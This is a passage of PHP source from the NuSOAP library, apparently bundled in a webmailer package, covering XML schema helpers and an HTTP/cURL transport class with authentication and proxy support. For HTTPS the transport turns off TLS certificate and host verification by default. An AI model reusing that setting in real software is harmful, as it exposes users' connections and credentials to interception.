    "; if($typeDef = $this->getTypeDef($type)){ $str .= '<'.$type; if(is_array($typeDef['attrs'])){ foreach($typeDef['attrs'] as $attName => $data){ $str .= " $attName=\"{type = ".$data['type']."}\""; } } $str .= " xmlns=\"".$this->schema['targetNamespace']."\""; if(count($typeDef['elements']) > 0){ $str .= ">"; foreach($typeDef['elements'] as $element => $eData){ $str .= $this->serializeTypeDef($element); } $str .= ""; } elseif($typeDef['typeClass'] == 'element') { $str .= ">"; } else { $str .= "/>"; } return $str; } return false; } /** * returns HTML form elements that allow a user * to enter values for creating an instance of the given type. * * @param string $name name for type instance * @param string $type name of type * @return string * @access public * @deprecated */ function typeToForm($name,$type){ // get typedef if($typeDef = $this->getTypeDef($type)){ // if struct if($typeDef['phpType'] == 'struct'){ $buffer .= ''; foreach($typeDef['elements'] as $child => $childDef){ $buffer .= " "; } $buffer .= '
    $childDef[name] (type: ".$this->getLocalPart($childDef['type'])."):
    '; // if array } elseif($typeDef['phpType'] == 'array'){ $buffer .= ''; for($i=0;$i < 3; $i++){ $buffer .= " "; } $buffer .= '
    array item (type: $typeDef[arrayType]):
    '; // if scalar } else { $buffer .= ""; } } else { $buffer .= ""; } return $buffer; } /** * adds a complex type to the schema * * example: array * * addType( * 'ArrayOfstring', * 'complexType', * 'array', * '', * 'SOAP-ENC:Array', * array('ref'=>'SOAP-ENC:arrayType','wsdl:arrayType'=>'string[]'), * 'xsd:string' * ); * * example: PHP associative array ( SOAP Struct ) * * addType( * 'SOAPStruct', * 'complexType', * 'struct', * 'all', * array('myVar'=> array('name'=>'myVar','type'=>'string') * ); * * @param name * @param typeClass (complexType|simpleType|attribute) * @param phpType: currently supported are array and struct (php assoc array) * @param compositor (all|sequence|choice) * @param restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) * @param elements = array ( name = array(name=>'',type=>'') ) * @param attrs = array( * array( * 'ref' => "http://schemas.xmlsoap.org/soap/encoding/:arrayType", * "http://schemas.xmlsoap.org/wsdl/:arrayType" => "string[]" * ) * ) * @param arrayType: namespace:name (http://www.w3.org/2001/XMLSchema:string) * @access public * @see getTypeDef */ function addComplexType($name,$typeClass='complexType',$phpType='array',$compositor='',$restrictionBase='',$elements=array(),$attrs=array(),$arrayType=''){ $this->complexTypes[$name] = array( 'name' => $name, 'typeClass' => $typeClass, 'phpType' => $phpType, 'compositor'=> $compositor, 'restrictionBase' => $restrictionBase, 'elements' => $elements, 'attrs' => $attrs, 'arrayType' => $arrayType ); $this->xdebug("addComplexType $name:"); $this->appendDebug($this->varDump($this->complexTypes[$name])); } /** * adds a simple type to the schema * * @param string $name * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) * @param string $typeClass (should always be simpleType) * @param string $phpType (should always be scalar) * @param array $enumeration array of values * @access public * @see nusoap_xmlschema * @see getTypeDef */ function addSimpleType($name, $restrictionBase='', $typeClass='simpleType', $phpType='scalar', $enumeration=array()) { $this->simpleTypes[$name] = array( 'name' => $name, 'typeClass' => $typeClass, 'phpType' => $phpType, 'type' => $restrictionBase, 'enumeration' => $enumeration ); $this->xdebug("addSimpleType $name:"); $this->appendDebug($this->varDump($this->simpleTypes[$name])); } /** * adds an element to the schema * * @param array $attrs attributes that must include name and type * @see nusoap_xmlschema * @access public */ function addElement($attrs) { if (! $this->getPrefix($attrs['type'])) { $attrs['type'] = $this->schemaTargetNamespace . ':' . $attrs['type']; } $this->elements[ $attrs['name'] ] = $attrs; $this->elements[ $attrs['name'] ]['typeClass'] = 'element'; $this->xdebug("addElement " . $attrs['name']); $this->appendDebug($this->varDump($this->elements[ $attrs['name'] ])); } } /** * Backward compatibility */ class XMLSchema extends nusoap_xmlschema { } ?>PKq\\0superwebmailer/lib/class.soap_transport_http.phpnu[ * @author Scott Nichol * @version $Id: class.soap_transport_http.php,v 1.68 2010/04/26 20:15:08 snichol Exp $ * @access public */ class soap_transport_http extends nusoap_base { var $url = ''; var $uri = ''; var $digest_uri = ''; var $scheme = ''; var $host = ''; var $port = ''; var $path = ''; var $request_method = 'POST'; var $protocol_version = '1.0'; var $encoding = ''; var $outgoing_headers = array(); var $incoming_headers = array(); var $incoming_cookies = array(); var $outgoing_payload = ''; var $incoming_payload = ''; var $response_status_line; // HTTP response status line var $useSOAPAction = true; var $persistentConnection = false; var $ch = false; // cURL handle var $ch_options = array(); // cURL custom options var $use_curl = false; // force cURL use var $proxy = null; // proxy information (associative array) var $username = ''; var $password = ''; var $authtype = ''; var $digestRequest = array(); var $certRequest = array(); // keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional) // cainfofile: certificate authority file, e.g. '$pathToPemFiles/rootca.pem' // sslcertfile: SSL certificate file, e.g. '$pathToPemFiles/mycert.pem' // sslkeyfile: SSL key file, e.g. '$pathToPemFiles/mykey.pem' // passphrase: SSL key password/passphrase // certpassword: SSL certificate password // verifypeer: default is 1 // verifyhost: default is 1 /** * constructor * * @param string $url The URL to which to connect * @param array $curl_options User-specified cURL options * @param boolean $use_curl Whether to try to force cURL use * @access public */ function soap_transport_http($url, $curl_options = NULL, $use_curl = false){ parent::nusoap_base(); $this->debug("ctor url=$url use_curl=$use_curl curl_options:"); $this->appendDebug($this->varDump($curl_options)); $this->setURL($url); if (is_array($curl_options)) { $this->ch_options = $curl_options; } $this->use_curl = $use_curl; preg_match('/\$Revisio' . 'n: ([^ ]+)/', $this->revision, $rev); $this->setHeader('User-Agent', $this->title.'/'.$this->version.' ('.$rev[1].')'); } /** * sets a cURL option * * @param mixed $option The cURL option (always integer?) * @param mixed $value The cURL option value * @access private */ function setCurlOption($option, $value) { $this->debug("setCurlOption option=$option, value="); $this->appendDebug($this->varDump($value)); curl_setopt($this->ch, $option, $value); } /** * sets an HTTP header * * @param string $name The name of the header * @param string $value The value of the header * @access private */ function setHeader($name, $value) { $this->outgoing_headers[$name] = $value; $this->debug("set header $name: $value"); } /** * unsets an HTTP header * * @param string $name The name of the header * @access private */ function unsetHeader($name) { if (isset($this->outgoing_headers[$name])) { $this->debug("unset header $name"); unset($this->outgoing_headers[$name]); } } /** * sets the URL to which to connect * * @param string $url The URL to which to connect * @access private */ function setURL($url) { $this->url = $url; $u = parse_url($url); foreach($u as $k => $v){ $this->debug("parsed URL $k = $v"); $this->$k = $v; } // add any GET params to path if(isset($u['query']) && $u['query'] != ''){ $this->path .= '?' . $u['query']; } // set default port if(!isset($u['port'])){ if($u['scheme'] == 'https'){ $this->port = 443; } else { $this->port = 80; } } $this->uri = $this->path; $this->digest_uri = $this->uri; // build headers if (!isset($u['port'])) { $this->setHeader('Host', $this->host); } else { $this->setHeader('Host', $this->host.':'.$this->port); } if (isset($u['user']) && $u['user'] != '') { $this->setCredentials(urldecode($u['user']), isset($u['pass']) ? urldecode($u['pass']) : ''); } } /** * gets the I/O method to use * * @return string I/O method to use (socket|curl|unknown) * @access private */ function io_method() { if ($this->use_curl || ($this->scheme == 'https') || ($this->scheme == 'http' && $this->authtype == 'ntlm') || ($this->scheme == 'http' && is_array($this->proxy) && $this->proxy['authtype'] == 'ntlm')) return 'curl'; if (($this->scheme == 'http' || $this->scheme == 'ssl') && $this->authtype != 'ntlm' && (!is_array($this->proxy) || $this->proxy['authtype'] != 'ntlm')) return 'socket'; return 'unknown'; } /** * establish an HTTP connection * * @param integer $timeout set connection timeout in seconds * @param integer $response_timeout set response timeout in seconds * @return boolean true if connected, false if not * @access private */ function connect($connection_timeout=0,$response_timeout=30){ // For PHP 4.3 with OpenSSL, change https scheme to ssl, then treat like // "regular" socket. // TODO: disabled for now because OpenSSL must be *compiled* in (not just // loaded), and until PHP5 stream_get_wrappers is not available. // if ($this->scheme == 'https') { // if (version_compare(phpversion(), '4.3.0') >= 0) { // if (extension_loaded('openssl')) { // $this->scheme = 'ssl'; // $this->debug('Using SSL over OpenSSL'); // } // } // } $this->debug("connect connection_timeout $connection_timeout, response_timeout $response_timeout, scheme $this->scheme, host $this->host, port $this->port"); if ($this->io_method() == 'socket') { if (!is_array($this->proxy)) { $host = $this->host; $port = $this->port; } else { $host = $this->proxy['host']; $port = $this->proxy['port']; } // use persistent connection if($this->persistentConnection && isset($this->fp) && is_resource($this->fp)){ if (!feof($this->fp)) { $this->debug('Re-use persistent connection'); return true; } fclose($this->fp); $this->debug('Closed persistent connection at EOF'); } // munge host if using OpenSSL if ($this->scheme == 'ssl') { $host = 'ssl://' . $host; } $this->debug('calling fsockopen with host ' . $host . ' connection_timeout ' . $connection_timeout); // open socket if($connection_timeout > 0){ $this->fp = @fsockopen( $host, $this->port, $this->errno, $this->error_str, $connection_timeout); } else { $this->fp = @fsockopen( $host, $this->port, $this->errno, $this->error_str); } // test pointer if(!$this->fp) { $msg = 'Couldn\'t open socket connection to server ' . $this->url; if ($this->errno) { $msg .= ', Error ('.$this->errno.'): '.$this->error_str; } else { $msg .= ' prior to connect(). This is often a problem looking up the host name.'; } $this->debug($msg); $this->setError($msg); return false; } // set response timeout $this->debug('set response timeout to ' . $response_timeout); socket_set_timeout( $this->fp, $response_timeout); $this->debug('socket connected'); return true; } else if ($this->io_method() == 'curl') { if (!extension_loaded('curl')) { // $this->setError('cURL Extension, or OpenSSL extension w/ PHP version >= 4.3 is required for HTTPS'); $this->setError('The PHP cURL Extension is required for HTTPS or NLTM. You will need to re-build or update your PHP to include cURL or change php.ini to load the PHP cURL extension.'); return false; } // Avoid warnings when PHP does not have these options if (defined('CURLOPT_CONNECTIONTIMEOUT')) $CURLOPT_CONNECTIONTIMEOUT = CURLOPT_CONNECTIONTIMEOUT; else $CURLOPT_CONNECTIONTIMEOUT = 78; if (defined('CURLOPT_HTTPAUTH')) $CURLOPT_HTTPAUTH = CURLOPT_HTTPAUTH; else $CURLOPT_HTTPAUTH = 107; if (defined('CURLOPT_PROXYAUTH')) $CURLOPT_PROXYAUTH = CURLOPT_PROXYAUTH; else $CURLOPT_PROXYAUTH = 111; if (defined('CURLAUTH_BASIC')) $CURLAUTH_BASIC = CURLAUTH_BASIC; else $CURLAUTH_BASIC = 1; if (defined('CURLAUTH_DIGEST')) $CURLAUTH_DIGEST = CURLAUTH_DIGEST; else $CURLAUTH_DIGEST = 2; if (defined('CURLAUTH_NTLM')) $CURLAUTH_NTLM = CURLAUTH_NTLM; else $CURLAUTH_NTLM = 8; $this->debug('connect using cURL'); // init CURL $this->ch = curl_init(); // set url $hostURL = ($this->port != '') ? "$this->scheme://$this->host:$this->port" : "$this->scheme://$this->host"; // add path $hostURL .= $this->path; $this->setCurlOption(CURLOPT_URL, $hostURL); // follow location headers (re-directs) if (ini_get('safe_mode') || ini_get('open_basedir')) { $this->debug('safe_mode or open_basedir set, so do not set CURLOPT_FOLLOWLOCATION'); $this->debug('safe_mode = '); $this->appendDebug($this->varDump(ini_get('safe_mode'))); $this->debug('open_basedir = '); $this->appendDebug($this->varDump(ini_get('open_basedir'))); } else { $this->setCurlOption(CURLOPT_FOLLOWLOCATION, 1); } // ask for headers in the response output $this->setCurlOption(CURLOPT_HEADER, 1); // ask for the response output as the return value $this->setCurlOption(CURLOPT_RETURNTRANSFER, 1); // encode // We manage this ourselves through headers and encoding // if(function_exists('gzuncompress')){ // $this->setCurlOption(CURLOPT_ENCODING, 'deflate'); // } // persistent connection if ($this->persistentConnection) { // I believe the following comment is now bogus, having applied to // the code when it used CURLOPT_CUSTOMREQUEST to send the request. // The way we send data, we cannot use persistent connections, since // there will be some "junk" at the end of our request. //$this->setCurlOption(CURL_HTTP_VERSION_1_1, true); $this->persistentConnection = false; $this->setHeader('Connection', 'close'); } // set timeouts if ($connection_timeout != 0) { $this->setCurlOption($CURLOPT_CONNECTIONTIMEOUT, $connection_timeout); } if ($response_timeout != 0) { $this->setCurlOption(CURLOPT_TIMEOUT, $response_timeout); } if ($this->scheme == 'https') { $this->debug('set cURL SSL verify options'); // recent versions of cURL turn on peer/host checking by default, // while PHP binaries are not compiled with a default location for the // CA cert bundle, so disable peer/host checking. //$this->setCurlOption(CURLOPT_CAINFO, 'f:\php-4.3.2-win32\extensions\curl-ca-bundle.crt'); $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, 0); $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, 0); // support client certificates (thanks Tobias Boes, Doug Anarino, Eryan Ariobowo) if ($this->authtype == 'certificate') { $this->debug('set cURL certificate options'); if (isset($this->certRequest['cainfofile'])) { $this->setCurlOption(CURLOPT_CAINFO, $this->certRequest['cainfofile']); } if (isset($this->certRequest['verifypeer'])) { $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, $this->certRequest['verifypeer']); } else { $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, 1); } if (isset($this->certRequest['verifyhost'])) { $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, $this->certRequest['verifyhost']); } else { $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, 1); } if (isset($this->certRequest['sslcertfile'])) { $this->setCurlOption(CURLOPT_SSLCERT, $this->certRequest['sslcertfile']); } if (isset($this->certRequest['sslkeyfile'])) { $this->setCurlOption(CURLOPT_SSLKEY, $this->certRequest['sslkeyfile']); } if (isset($this->certRequest['passphrase'])) { $this->setCurlOption(CURLOPT_SSLKEYPASSWD, $this->certRequest['passphrase']); } if (isset($this->certRequest['certpassword'])) { $this->setCurlOption(CURLOPT_SSLCERTPASSWD, $this->certRequest['certpassword']); } } } if ($this->authtype && ($this->authtype != 'certificate')) { if ($this->username) { $this->debug('set cURL username/password'); $this->setCurlOption(CURLOPT_USERPWD, "$this->username:$this->password"); } if ($this->authtype == 'basic') { $this->debug('set cURL for Basic authentication'); $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_BASIC); } if ($this->authtype == 'digest') { $this->debug('set cURL for digest authentication'); $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_DIGEST); } if ($this->authtype == 'ntlm') { $this->debug('set cURL for NTLM authentication'); $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_NTLM); } } if (is_array($this->proxy)) { $this->debug('set cURL proxy options'); if ($this->proxy['port'] != '') { $this->setCurlOption(CURLOPT_PROXY, $this->proxy['host'].':'.$this->proxy['port']); } else { $this->setCurlOption(CURLOPT_PROXY, $this->proxy['host']); } if ($this->proxy['username'] || $this->proxy['password']) { $this->debug('set cURL proxy authentication options'); $this->setCurlOption(CURLOPT_PROXYUSERPWD, $this->proxy['username'].':'.$this->proxy['password']); if ($this->proxy['authtype'] == 'basic') { $this->setCurlOption($CURLOPT_PROXYAUTH, $CURLAUTH_BASIC); } if ($this->proxy['authtype'] == 'ntlm') { $this->setCurlOption($CURLOPT_PROXYAUTH, $CURLAUTH_NTLM); } } } $this->debug('cURL connection set up'); return true; } else { $this->setError('Unknown scheme ' . $this->scheme); $this->debug('Unknown scheme ' . $this->scheme); return false; } } /** * sends the SOAP request and gets the SOAP response via HTTP[S] * * @param string $data message data * @param integer $timeout set connection timeout in seconds * @param integer $response_timeout set response timeout in seconds * @param array $cookies cookies to send * @return string data * @access public */ function send($data, $timeout=0, $response_timeout=30, $cookies=NULL) { $this->debug('entered send() with data of length: '.strlen($data)); $this->tryagain = true; $tries = 0; while ($this->tryagain) { $this->tryagain = false; if ($tries++ < 2) { // make connnection if (!$this->connect($timeout, $response_timeout)){ return false; } // send request if (!$this->sendRequest($data, $cookies)){ return false; } // get response $respdata = $this->getResponse(); } else { $this->setError("Too many tries to get an OK response ($this->response_status_line)"); } } $this->debug('end of send()'); return $respdata; } /** * sends the SOAP request and gets the SOAP response via HTTPS using CURL * * @param string $data message data * @param integer $timeout set connection timeout in seconds * @param integer $response_timeout set response timeout in seconds * @param array $cookies cookies to send * @return string data * @access public * @deprecated */ function sendHTTPS($data, $timeout=0, $response_timeout=30, $cookies) { return $this->send($data, $timeout, $response_timeout, $cookies); } /** * if authenticating, set user credentials here * * @param string $username * @param string $password * @param string $authtype (basic|digest|certificate|ntlm) * @param array $digestRequest (keys must be nonce, nc, realm, qop) * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) * @access public */ function setCredentials($username, $password, $authtype = 'basic', $digestRequest = array(), $certRequest = array()) { $this->debug("setCredentials username=$username authtype=$authtype digestRequest="); $this->appendDebug($this->varDump($digestRequest)); $this->debug("certRequest="); $this->appendDebug($this->varDump($certRequest)); // cf. RFC 2617 if ($authtype == 'basic') { $this->setHeader('Authorization', 'Basic '.base64_encode(str_replace(':','',$username).':'.$password)); } elseif ($authtype == 'digest') { if (isset($digestRequest['nonce'])) { $digestRequest['nc'] = isset($digestRequest['nc']) ? $digestRequest['nc']++ : 1; // calculate the Digest hashes (calculate code based on digest implementation found at: http://www.rassoc.com/gregr/weblog/stories/2002/07/09/webServicesSecurityHttpDigestAuthenticationWithoutActiveDirectory.html) // A1 = unq(username-value) ":" unq(realm-value) ":" passwd $A1 = $username. ':' . (isset($digestRequest['realm']) ? $digestRequest['realm'] : '') . ':' . $password; // H(A1) = MD5(A1) $HA1 = md5($A1); // A2 = Method ":" digest-uri-value $A2 = $this->request_method . ':' . $this->digest_uri; // H(A2) $HA2 = md5($A2); // KD(secret, data) = H(concat(secret, ":", data)) // if qop == auth: // request-digest = <"> < KD ( H(A1), unq(nonce-value) // ":" nc-value // ":" unq(cnonce-value) // ":" unq(qop-value) // ":" H(A2) // ) <"> // if qop is missing, // request-digest = <"> < KD ( H(A1), unq(nonce-value) ":" H(A2) ) > <"> $unhashedDigest = ''; $nonce = isset($digestRequest['nonce']) ? $digestRequest['nonce'] : ''; $cnonce = $nonce; if ($digestRequest['qop'] != '') { $unhashedDigest = $HA1 . ':' . $nonce . ':' . sprintf("%08d", $digestRequest['nc']) . ':' . $cnonce . ':' . $digestRequest['qop'] . ':' . $HA2; } else { $unhashedDigest = $HA1 . ':' . $nonce . ':' . $HA2; } $hashedDigest = md5($unhashedDigest); $opaque = ''; if (isset($digestRequest['opaque'])) { $opaque = ', opaque="' . $digestRequest['opaque'] . '"'; } $this->setHeader('Authorization', 'Digest username="' . $username . '", realm="' . $digestRequest['realm'] . '", nonce="' . $nonce . '", uri="' . $this->digest_uri . $opaque . '", cnonce="' . $cnonce . '", nc=' . sprintf("%08x", $digestRequest['nc']) . ', qop="' . $digestRequest['qop'] . '", response="' . $hashedDigest . '"'); } } elseif ($authtype == 'certificate') { $this->certRequest = $certRequest; $this->debug('Authorization header not set for certificate'); } elseif ($authtype == 'ntlm') { // do nothing $this->debug('Authorization header not set for ntlm'); } $this->username = $username; $this->password = $password; $this->authtype = $authtype; $this->digestRequest = $digestRequest; } /** * set the soapaction value * * @param string $soapaction * @access public */ function setSOAPAction($soapaction) { $this->setHeader('SOAPAction', '"' . $soapaction . '"'); } /** * use http encoding * * @param string $enc encoding style. supported values: gzip, deflate, or both * @access public */ function setEncoding($enc='gzip, deflate') { if (function_exists('gzdeflate')) { $this->protocol_version = '1.1'; $this->setHeader('Accept-Encoding', $enc); if (!isset($this->outgoing_headers['Connection'])) { $this->setHeader('Connection', 'close'); $this->persistentConnection = false; } // deprecated as of PHP 5.3.0 //set_magic_quotes_runtime(0); $this->encoding = $enc; } } /** * set proxy info here * * @param string $proxyhost use an empty string to remove proxy * @param string $proxyport * @param string $proxyusername * @param string $proxypassword * @param string $proxyauthtype (basic|ntlm) * @access public */ function setProxy($proxyhost, $proxyport, $proxyusername = '', $proxypassword = '', $proxyauthtype = 'basic') { if ($proxyhost) { $this->proxy = array( 'host' => $proxyhost, 'port' => $proxyport, 'username' => $proxyusername, 'password' => $proxypassword, 'authtype' => $proxyauthtype ); if ($proxyusername != '' && $proxypassword != '' && $proxyauthtype = 'basic') { $this->setHeader('Proxy-Authorization', ' Basic '.base64_encode($proxyusername.':'.$proxypassword)); } } else { $this->debug('remove proxy'); $proxy = null; unsetHeader('Proxy-Authorization'); } } /** * Test if the given string starts with a header that is to be skipped. * Skippable headers result from chunked transfer and proxy requests. * * @param string $data The string to check. * @returns boolean Whether a skippable header was found. * @access private */ function isSkippableCurlHeader(&$data) { $skipHeaders = array( 'HTTP/1.1 100', 'HTTP/1.0 301', 'HTTP/1.1 301', 'HTTP/1.0 302', 'HTTP/1.1 302', 'HTTP/1.0 401', 'HTTP/1.1 401', 'HTTP/1.0 200 Connection established'); foreach ($skipHeaders as $hd) { $prefix = substr($data, 0, strlen($hd)); if ($prefix == $hd) return true; } return false; } /** * decode a string that is encoded w/ "chunked' transfer encoding * as defined in RFC2068 19.4.6 * * @param string $buffer * @param string $lb * @returns string * @access public * @deprecated */ function decodeChunked($buffer, $lb){ // length := 0 $length = 0; $new = ''; // read chunk-size, chunk-extension (if any) and CRLF // get the position of the linebreak $chunkend = strpos($buffer, $lb); if ($chunkend == FALSE) { $this->debug('no linebreak found in decodeChunked'); return $new; } $temp = substr($buffer,0,$chunkend); $chunk_size = hexdec( trim($temp) ); $chunkstart = $chunkend + strlen($lb); // while (chunk-size > 0) { while ($chunk_size > 0) { $this->debug("chunkstart: $chunkstart chunk_size: $chunk_size"); $chunkend = strpos( $buffer, $lb, $chunkstart + $chunk_size); // Just in case we got a broken connection if ($chunkend == FALSE) { $chunk = substr($buffer,$chunkstart); // append chunk-data to entity-body $new .= $chunk; $length += strlen($chunk); break; } // read chunk-data and CRLF $chunk = substr($buffer,$chunkstart,$chunkend-$chunkstart); // append chunk-data to entity-body $new .= $chunk; // length := length + chunk-size $length += strlen($chunk); // read chunk-size and CRLF $chunkstart = $chunkend + strlen($lb); $chunkend = strpos($buffer, $lb, $chunkstart) + strlen($lb); if ($chunkend == FALSE) { break; //Just in case we got a broken connection } $temp = substr($buffer,$chunkstart,$chunkend-$chunkstart); $chunk_size = hexdec( trim($temp) ); $chunkstart = $chunkend; } return $new; } /** * Writes the payload, including HTTP headers, to $this->outgoing_payload. * * @param string $data HTTP body * @param string $cookie_str data for HTTP Cookie header * @return void * @access private */ function buildPayload($data, $cookie_str = '') { // Note: for cURL connections, $this->outgoing_payload is ignored, // as is the Content-Length header, but these are still created as // debugging guides. // add content-length header if ($this->request_method != 'GET') { $this->setHeader('Content-Length', strlen($data)); } // start building outgoing payload: if ($this->proxy) { $uri = $this->url; } else { $uri = $this->uri; } $req = "$this->request_method $uri HTTP/$this->protocol_version"; $this->debug("HTTP request: $req"); $this->outgoing_payload = "$req\r\n"; // loop thru headers, serializing foreach($this->outgoing_headers as $k => $v){ $hdr = $k.': '.$v; $this->debug("HTTP header: $hdr"); $this->outgoing_payload .= "$hdr\r\n"; } // add any cookies if ($cookie_str != '') { $hdr = 'Cookie: '.$cookie_str; $this->debug("HTTP header: $hdr"); $this->outgoing_payload .= "$hdr\r\n"; } // header/body separator $this->outgoing_payload .= "\r\n"; // add data $this->outgoing_payload .= $data; } /** * sends the SOAP request via HTTP[S] * * @param string $data message data * @param array $cookies cookies to send * @return boolean true if OK, false if problem * @access private */ function sendRequest($data, $cookies = NULL) { // build cookie string $cookie_str = $this->getCookiesForRequest($cookies, (($this->scheme == 'ssl') || ($this->scheme == 'https'))); // build payload $this->buildPayload($data, $cookie_str); if ($this->io_method() == 'socket') { // send payload if(!fputs($this->fp, $this->outgoing_payload, strlen($this->outgoing_payload))) { $this->setError('couldn\'t write message data to socket'); $this->debug('couldn\'t write message data to socket'); return false; } $this->debug('wrote data to socket, length = ' . strlen($this->outgoing_payload)); return true; } else if ($this->io_method() == 'curl') { // set payload // cURL does say this should only be the verb, and in fact it // turns out that the URI and HTTP version are appended to this, which // some servers refuse to work with (so we no longer use this method!) //$this->setCurlOption(CURLOPT_CUSTOMREQUEST, $this->outgoing_payload); $curl_headers = array(); foreach($this->outgoing_headers as $k => $v){ if ($k == 'Connection' || $k == 'Content-Length' || $k == 'Host' || $k == 'Authorization' || $k == 'Proxy-Authorization') { $this->debug("Skip cURL header $k: $v"); } else { $curl_headers[] = "$k: $v"; } } if ($cookie_str != '') { $curl_headers[] = 'Cookie: ' . $cookie_str; } $this->setCurlOption(CURLOPT_HTTPHEADER, $curl_headers); $this->debug('set cURL HTTP headers'); if ($this->request_method == "POST") { $this->setCurlOption(CURLOPT_POST, 1); $this->setCurlOption(CURLOPT_POSTFIELDS, $data); $this->debug('set cURL POST data'); } else { } // insert custom user-set cURL options foreach ($this->ch_options as $key => $val) { $this->setCurlOption($key, $val); } $this->debug('set cURL payload'); return true; } } /** * gets the SOAP response via HTTP[S] * * @return string the response (also sets member variables like incoming_payload) * @access private */ function getResponse(){ $this->incoming_payload = ''; if ($this->io_method() == 'socket') { // loop until headers have been retrieved $data = ''; while (!isset($lb)){ // We might EOF during header read. if(feof($this->fp)) { $this->incoming_payload = $data; $this->debug('found no headers before EOF after length ' . strlen($data)); $this->debug("received before EOF:\n" . $data); $this->setError('server failed to send headers'); return false; } $tmp = fgets($this->fp, 256); $tmplen = strlen($tmp); $this->debug("read line of $tmplen bytes: " . trim($tmp)); if ($tmplen == 0) { $this->incoming_payload = $data; $this->debug('socket read of headers timed out after length ' . strlen($data)); $this->debug("read before timeout: " . $data); $this->setError('socket read of headers timed out'); return false; } $data .= $tmp; $pos = strpos($data,"\r\n\r\n"); if($pos > 1){ $lb = "\r\n"; } else { $pos = strpos($data,"\n\n"); if($pos > 1){ $lb = "\n"; } } // remove 100 headers if (isset($lb) && preg_match('/^HTTP\/1.1 100/',$data)) { unset($lb); $data = ''; }// } // store header data $this->incoming_payload .= $data; $this->debug('found end of headers after length ' . strlen($data)); // process headers $header_data = trim(substr($data,0,$pos)); $header_array = explode($lb,$header_data); $this->incoming_headers = array(); $this->incoming_cookies = array(); foreach($header_array as $header_line){ $arr = explode(':',$header_line, 2); if(count($arr) > 1){ $header_name = strtolower(trim($arr[0])); $this->incoming_headers[$header_name] = trim($arr[1]); if ($header_name == 'set-cookie') { // TODO: allow multiple cookies from parseCookie $cookie = $this->parseCookie(trim($arr[1])); if ($cookie) { $this->incoming_cookies[] = $cookie; $this->debug('found cookie: ' . $cookie['name'] . ' = ' . $cookie['value']); } else { $this->debug('did not find cookie in ' . trim($arr[1])); } } } else if (isset($header_name)) { // append continuation line to previous header $this->incoming_headers[$header_name] .= $lb . ' ' . $header_line; } } // loop until msg has been received if (isset($this->incoming_headers['transfer-encoding']) && strtolower($this->incoming_headers['transfer-encoding']) == 'chunked') { $content_length = 2147483647; // ignore any content-length header $chunked = true; $this->debug("want to read chunked content"); } elseif (isset($this->incoming_headers['content-length'])) { $content_length = $this->incoming_headers['content-length']; $chunked = false; $this->debug("want to read content of length $content_length"); } else { $content_length = 2147483647; $chunked = false; $this->debug("want to read content to EOF"); } $data = ''; do { if ($chunked) { $tmp = fgets($this->fp, 256); $tmplen = strlen($tmp); $this->debug("read chunk line of $tmplen bytes"); if ($tmplen == 0) { $this->incoming_payload = $data; $this->debug('socket read of chunk length timed out after length ' . strlen($data)); $this->debug("read before timeout:\n" . $data); $this->setError('socket read of chunk length timed out'); return false; } $content_length = hexdec(trim($tmp)); $this->debug("chunk length $content_length"); } $strlen = 0; while (($strlen < $content_length) && (!feof($this->fp))) { $readlen = min(8192, $content_length - $strlen); $tmp = fread($this->fp, $readlen); $tmplen = strlen($tmp); $this->debug("read buffer of $tmplen bytes"); if (($tmplen == 0) && (!feof($this->fp))) { $this->incoming_payload = $data; $this->debug('socket read of body timed out after length ' . strlen($data)); $this->debug("read before timeout:\n" . $data); $this->setError('socket read of body timed out'); return false; } $strlen += $tmplen; $data .= $tmp; } if ($chunked && ($content_length > 0)) { $tmp = fgets($this->fp, 256); $tmplen = strlen($tmp); $this->debug("read chunk terminator of $tmplen bytes"); if ($tmplen == 0) { $this->incoming_payload = $data; $this->debug('socket read of chunk terminator timed out after length ' . strlen($data)); $this->debug("read before timeout:\n" . $data); $this->setError('socket read of chunk terminator timed out'); return false; } } } while ($chunked && ($content_length > 0) && (!feof($this->fp))); if (feof($this->fp)) { $this->debug('read to EOF'); } $this->debug('read body of length ' . strlen($data)); $this->incoming_payload .= $data; $this->debug('received a total of '.strlen($this->incoming_payload).' bytes of data from server'); // close filepointer if( (isset($this->incoming_headers['connection']) && strtolower($this->incoming_headers['connection']) == 'close') || (! $this->persistentConnection) || feof($this->fp)){ fclose($this->fp); $this->fp = false; $this->debug('closed socket'); } // connection was closed unexpectedly if($this->incoming_payload == ''){ $this->setError('no response from server'); return false; } // decode transfer-encoding // if(isset($this->incoming_headers['transfer-encoding']) && strtolower($this->incoming_headers['transfer-encoding']) == 'chunked'){ // if(!$data = $this->decodeChunked($data, $lb)){ // $this->setError('Decoding of chunked data failed'); // return false; // } //print "
    \nde-chunked:\n---------------\n$data\n\n---------------\n
    "; // set decoded payload // $this->incoming_payload = $header_data.$lb.$lb.$data; // } } else if ($this->io_method() == 'curl') { // send and receive $this->debug('send and receive with cURL'); $this->incoming_payload = curl_exec($this->ch); $data = $this->incoming_payload; $cErr = curl_error($this->ch); if ($cErr != '') { $err = 'cURL ERROR: '.curl_errno($this->ch).': '.$cErr.'
    '; // TODO: there is a PHP bug that can cause this to SEGV for CURLINFO_CONTENT_TYPE foreach(curl_getinfo($this->ch) as $k => $v){ $err .= "$k: $v
    "; } $this->debug($err); $this->setError($err); curl_close($this->ch); return false; } else { //echo '
    ';
    			//var_dump(curl_getinfo($this->ch));
    			//echo '
